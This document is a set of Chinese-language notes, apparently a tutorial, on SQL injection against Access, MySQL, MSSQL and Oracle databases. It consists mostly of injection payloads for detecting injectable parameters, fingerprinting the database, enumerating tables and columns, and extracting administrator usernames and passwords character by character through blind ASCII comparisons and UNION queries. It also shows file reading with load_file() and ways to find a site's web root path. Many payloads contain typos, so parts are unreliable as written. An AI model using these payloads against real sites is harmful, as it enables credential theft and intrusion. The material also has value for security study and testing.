Access注入
介绍:
微软的小型数据库
优势:
提高速度和编码量
缺陷:
数据过大性能下降
后缀名:*.mdb
调用分析:
连接分析…
先找注入点
注入原理:
查询注入语句
’
and 1=1
and 1=2
or 1=1
or 1=2
and 1=23
判断数据库类型:
and exeits (select * from msysobjects) > 0 判断access
and exsits (selets * from sysobjects) > 0 判断sqlserver
判断数据库表:
and exeits (select * from admin)
判断字段名:
select 要判断的字段名
order by 要判断的字段长度 如10 20 30等
union select 1,2,3,4,5,6,7*** admin
判断账户密码的长度:
and (select len(admin) from admin)=5 如果返回正常说明管理员账户长度为5
and (select len(password) from admin)=5 如果返回正常说明管理员账户长度为5
(古老原理)通过判断ascii码来判断
and(select top 1 asc(mid(admin,1,1))from admin)>100 返回正常说明大于,不正常说明不大于
and(select top 1 asc(mid(admin,1,1))from admin)>100 返回正常说明大于
and(select top 1 asc(mid(admin,1,1))from admin)>100 返回正常说明等于97 97对应的字母为a
以此类推
判断管理员账户的第二数据
and(select top 1 asc(mid(admin,2,1))from admin)>100 返回正常说明大于,不正常说明不大于
第三个
and(select top 1 asc(mid(admin,3,1))from admin)>100 返回正常说明大于,不正常说明不大于
判断管理员密码的第一个数据
and(select top 1 asc(mid(password,1,1))from admin)>100 返回正常说明大于,不正常说明不大于
偏移注入:
主要解决猜出表名猜不出列名
用号来从最后一个字段数向(字段长度)向前逐个删除来代替,知道显示正常,号代表了所有admin表的字段
字段长度-返回正常的数=假如6
10+62=22
4+63=22
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from(admin as ainner join admin as b on a.id=b.id)
union select 1,2,3,4,a.id,b.id,* from(admin as ainner join admin as b on a.id=b.id)
审核元素里查看登录页面的信息
注入工具:
辅成数据库浏览器
破障浏览器
MYSQL注入:
介绍及操作
关系型数据库
mysql.exe -u用户名 -p密码 进入控制台
show databases 查看当前数据库
use 数据库名;
show tables; 查看表
select * from 数据库表名
简单的操作命令:
CREATE DATABASE database-要创建的数据库名
deop database db要删除的数据库名
CREATE TABLE MYTABLE(创建的数据库信新表VARCHAR(20),sex CHAR(1));
show databases; 查看数据库
MYSQL函数
1:ststem_user() 系统用户名
2:user() 用户名
3:current_user 当前用户名
4:session_user() 连接数据库的用户名
5:database() 数据库名
6:version() MYSQL数据库版本
7:load_file() 转成16进制或者是10进制MYSQL读取本地文件的函数
8:@@datadir 读取数据库路径
9:@@basedir MYSQL安装路径
10:@@version_compile_os 操作系统
php mysql链接
<?php $host='****';//数据库地址 $database='';//数据库名称 $user='';//数据库账户 $pass='';//数据库密码 $webml=''/0/0/';安装文件夹 ?>1、判断注入
and 1=1 返回正常
and 1=2 返回不正常 存在注入点
or 1=1
or 1=2
2、判断字段长度
order by xx
order by 21 正常 order by 22 不正常 说明长度为21
3、报基本信息
database():数据库名
version():数据库版本
user():数据库用户
@@version_compile_os:操作系统
UNION SELECT 1,user(),3,4,5,6,7,8,9,…21(让2报出数据库用户名)
select urer,pwd fron admin
读取和写入:
load_file()
该函数是用来读取源文件的函数
只能读取绝对路径的网页文件
在使用load_file()时应先找到网站的绝对路径
例如:
d:////
注意:路径符号"“错误”\“正确”/“正确
转换十六进制数,就不要”
查找网站跟路径:
1.报错显示
2.谷歌黑客
site:目标网站 warning
3.遗漏文件 phpinfo info test php
4.漏洞爆路径
5.读取配置文件
mssql注入:
介绍和操作:
关系型数据库
TCP:1433(默认端口号)
后缀:
cracer.mdf
cracer_log.ldf
先分离后删除
基本语句:
查询所有 select * from 需要查询的表
创建数据库 CREATE DATABASE 需要创建的表
删除数据库 drop database db删除的数据库
权限:
sa 最高权限
db 文件管理
public 数据库操作
调用分析:
<%
set conn =srever.createobject("adodb.connection")
conn.open "ptovider=sqloledb;soure=local;uid=用户名;pwd=密码;database=数据库表"
%>
注入:
1、判断是否有注入
and 1=1
and 1=2
判断注入的方法是不一样的
2、初步判断是否是mssql
and user > 0
3、判断数据库系统
and(select count(*)from sysobjects)>0 mssql
and(select count(*)from msysobjects)>0 access
4、测试权限结构(mssql)
and 1=(selectIS_SRVROLEMEMBER(sysadmin));--
5、推断数据库名、表名、列名
判断数据库版本信息 and 1=(select @@ version)
判断数据库名称 and = (select db_neme())
获取第一个用户数据库 and 1=(select top 1 name from master..sysdatabases wheredbid>4)
获取下一个用户数据库 and 1=(select top 1 name from master..sysdatabases wheredbid>4 and name <> ‘acublog’)
获取第一张表 ?id=1 and 1=(select top 1 name from sysobjects wherextype=‘u’)
获取下一张表 ?id=1 and 1=(select top 1 name from sysobjects wherextype=‘u’ and name <> 'threads')
获取第三张表 ?id=1 and 1=(select top 1 name from sysobjects wherextype=‘u’ and name <> 'threads' and name <> 'users')
获取第一列列名 ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'users'))
获取下一列列名 ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'users') and name <> 'uname')
获取第三列列名 ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'users') and name <> 'upass')
获取第一个用户名 ?id=1 and 1=(select top 1 uname from users)
差异备份,完全备份,侵权入侵
Oracle注入
形成的主要原因:
由于程序员安全意识薄弱,在编写代码时没有对用户输入的特殊字符进行处理,导致特殊字符附带的参数直接与数据库进行了交互。示列代码如下:
id= request_getparaner("id");
steing steSQL= 'select title.content from news where id=“ +id;
- 由以上代码可以看出,接收到参数id没有经过处理就直接执行
- 由于对and select等关键词没有过滤。所以接下来我们可以使用and select等构造语句获得管理员账号密码
如果得到的字段数为3
order by 3
union select null,null,null from admin 在null处加上单引号(‘null’)看网页报错的列是哪一个上报错的
具体的注入方法黑客WEB脚本攻击与防御技术核心剖析
第二种方法:
and (select count (*) from admin)<>() 页面返回正常说明有admin表
and (select count (user) from admin)<>() 页面返回正常说明有admin表里存在user列
接下来用ASCII码猜解管理员账号与密码:
and (select count(*)from admin where length(name)>=5)=1
说明:length()函数用于求字符串长度,此处猜用户名的长度和5比较,即是否为5个字符组成
and (select count(*) from admin where ascii(substr(name,1,1))>=9)=1
说明:substr()函数用于截取字符串,ascii()函数用于获取字符串的ascii码,此处的意思是截取name的第一个字符,获取它的ascii码值,查询ascii码表可以97为字符a。
and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1
结果为100对应d,重复以上过程判断出账户为admin